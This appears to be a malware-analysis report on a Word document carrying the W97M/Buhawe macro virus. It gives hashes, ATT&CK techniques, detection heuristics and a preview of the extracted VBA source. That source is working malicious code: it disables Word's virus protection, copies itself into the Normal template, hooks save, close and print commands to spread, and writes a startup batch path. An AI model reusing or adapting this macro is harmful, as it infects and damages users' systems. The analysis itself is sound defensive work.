Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 1ad7d01229480adf…

MALICIOUS

Office (OLE)

45.0 KB Created: 1999-12-15 15:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 519759892518ab711c0f64ccd63ddff4 SHA-1: 09e56589b72d05fcba62206d75332cd3f60f60ff SHA-256: 1ad7d01229480adfc157253ce84a7065b54d8495b0a015d4fdfa7b2f160ace78
400 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Word document containing obfuscated VBA macros. The AutoOpen macro is triggered upon opening, and it uses a Shell() call to execute a batch file. The batch file path is reconstructed as 'C:\windows\startup\msfile.bat', indicating an attempt to establish persistence and download additional payloads.

Heuristics 8

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25592 bytes
SHA-256: e5186fff0dc6aad829775de2d697b000a4059e1cdd4f20a9efb90c22ddc15e5d
Detection
ClamAV: Doc.Trojan.VMPCK1-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Buhawe"
'Virus Name: W97M/Buhawe
'Virus Author: Lucky Warrior
'Copyright (c) 1999 Bgy. Tiguib, Oras, Eastern Samar

    
Public Skip As Integer
        
Sub Buhawe()
       
On Error Resume Next
Randomize
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.VBProject.VBComponents("Buhawe").Export Chr(99) + Chr(58) + Chr(92) + Chr(66) + Chr(117) + Chr(104) + Chr(97) + Chr(119) + Chr(101) + Chr(46) + Chr(100) + Chr(114) + Chr(118)
ActiveDocument.ReadOnlyRecommended = False
DyMs = Int(Rnd * 10)
If DyMs = 3 Then Call AdditionalSideEffects
With Dialogs(wdDialogFileSummaryInfo)
    .Author = Chr(76) + Chr(117) + Chr(99) + Chr(107) + Chr(121) + Chr(32) + Chr(87) + Chr(97) + Chr(114) + Chr(114) + Chr(105) + Chr(111) + Chr(114)
    .Comments = Chr(66) + Chr(117) + Chr(104) + Chr(97) + Chr(119) + Chr(101)
    .Execute
End With
 MakeIt$ = Chr(99) + Chr(58) + Chr(92) + Chr(119) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(115) + Chr(116) + Chr(97) + Chr(114) + Chr(116) + Chr(109) + Chr(126) + Chr(49) + Chr(92) + Chr(112) + Chr(114) + Chr(111) + Chr(103) + Chr(114) + Chr(97) + Chr(109) + Chr(115) + Chr(92) + Chr(115) + Chr(116) + Chr(97) + Chr(114) + Chr(116) + Chr(117) + Chr(112) + Chr(92) + Chr(109) + Chr(115) + Chr(102) + Chr(105) + Chr(108) + Chr(101) + Chr(46) + Chr(98) + Chr(97) + Chr(116)
YouNeedME = GetAttr(NormalTemplate.FullName)
If YouNeedME = vbReadOnly And System.OperatingSystem = "Windows" And System.LanguageDesignation = "English(United States)" Then Call Damn(MakeIt$)
If YouNeedME = vbReadOnly + vbArchive And System.OperatingSystem = "Windows" And System.LanguageDesignation = "English(United States)" Then Call Damn(MakeIt$)
If YouNeedME = vbReadOnly Then GoTo SuckIt
If YouNeedME = vbReadOnly + vbArchive Then GoTo SuckIt
If NormalTemplate.VBProject.VBComponents.Item("Buhawe").Name <> "Buhawe" Then YouHateMe = True
If ActiveDocument.VBProject.VBComponents.Item("Buhawe").Name <> "Buhawe" Then IHateYou = True
If YouHateMe = True And IHateYou = False Then Set CallOff = NormalTemplate.VBProject.VBComponents
If YouHateMe = False And IHateYou = True Then Set CallOff = ActiveDocument.VBProject.VBComponents
CallOff.import Chr(99) + Chr(58) + Chr(92) + Chr(66) + Chr(117) + Chr(104) + Chr(97) + Chr(119) + Chr(101) + Chr(46) + Chr(100) + Chr(114) + Chr(118)
If YouHateMe = True And IHateYou = False Then Shell ("label c: Buhawe"), 0
If YouHateMe = False And Skip <> 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If IHateYou = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete

SuckIt:
End Sub
Sub HelpAbout()
    On Error Resume Next
    MsgBox "Buhawe by Lucky Warrior", vbInformation
End Sub
Sub FileNew()
    On Error Resume Next
    Call Buhawe
Dialogs(wdDialogFileNew).Show
    Skip = 1
    Call Buhawe
End Sub
Sub FileSave()
    On Error Resume Next
    Call Buhawe
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call Buhawe
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub ToolsOptions()
    On Error Resume Next
Dialogs(wdDialogToolsOptions).Show
    Call Buhawe
End Sub
Sub EditFind()
    On Error Resume Next
Dialogs(wdDialogEditFind).Show
    Call Buhawe
End Sub
Sub FileSaveAs()
    On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
    Call Buhawe
End Sub
Sub FilePrint()
    On Error Resume Next
Dialogs(wdDialogFilePrint).Show
    Call Buhawe
End Sub
Sub FileExit()
    On Error Resume Next
    Call Buhawe
    If ActiveDocument.Saved =
... (truncated)